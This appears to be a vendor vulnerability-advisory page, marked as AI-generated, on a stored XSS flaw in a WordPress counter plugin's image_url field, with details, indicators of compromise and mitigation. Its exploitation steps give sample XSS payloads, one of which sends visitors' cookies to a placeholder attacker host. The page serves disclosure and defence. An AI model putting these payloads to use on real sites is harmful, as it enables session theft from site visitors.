CVE-2026-1047
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1047 is a Stored Cross-Site Scripting (XSS) vulnerability in the Salavat Counter Plugin for WordPress. It affects all versions up to and including 0.9.5, caused by insufficient input sanitization and output escaping of the image_url parameter. Exploitation requires authenticated access at the administrator level or above. The vulnerability was published on February 19, 2026, and carries a CVSS v3.1 base score of 4.4 (Medium) (Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The image_url parameter accepted by the plugin is not properly sanitized before being stored in the database or escaped before being rendered in page output, allowing arbitrary JavaScript to be injected. Because the vulnerability has a changed scope (S:C in CVSS), injected scripts can affect browser contexts beyond the plugin's own origin. Exploitation requires high privileges (administrator-level) and network access, but no user interaction is needed once the payload is stored (Red Hat CVE).

Impact

A successful exploit allows an authenticated administrator to inject persistent malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected page. Potential consequences include session hijacking, credential theft, defacement, and delivery of malicious payloads to site visitors. While the confidentiality and integrity impacts are rated Low and availability is unaffected, the changed scope means the attack can extend beyond the WordPress admin context to end users (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2026-1047. The EPSS score is approximately 0.03%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The high privilege requirement (administrator access) significantly limits the attacker pool (Red Hat CVE).

Exploitation steps

  1. Authenticate: Log in to the WordPress site with an administrator-level account.
  2. Navigate to plugin settings: Access the Salavat Counter Plugin configuration panel within the WordPress admin dashboard.
  3. Inject payload: In the image_url parameter field, enter a crafted value containing a malicious JavaScript payload, e.g., javascript:alert(document.cookie) or an <img> tag with an onerror handler such as "><img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.
  4. Save settings: Submit the form to store the malicious value in the WordPress database.
  5. Trigger execution: Any user (including unauthenticated visitors) who loads a page where the plugin renders the image_url value will have the injected script execute in their browser, potentially exposing session cookies or other sensitive data to the attacker (Red Hat CVE).

Indicators of compromise

  • Logs: WordPress admin audit logs showing modification of Salavat Counter Plugin settings, particularly changes to the image_url field, by an administrator account.
  • Database: Presence of JavaScript tags or event handler attributes (e.g., <script>, onerror=, javascript:) in the plugin's stored image_url value in the WordPress wp_options table.
  • Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages with the plugin rendered, potentially carrying cookie or session data in query parameters.
  • Browser/Client: Unexpected JavaScript execution or redirects reported by users visiting pages where the Salavat Counter Plugin is active.

Mitigation and workarounds

WordPress site administrators should update the Salavat Counter Plugin to a version beyond 0.9.5 if a patched release is available from the plugin's official repository. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Access to the WordPress admin panel should be restricted to trusted users only, and the principle of least privilege should be enforced to reduce the risk of exploitation (Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management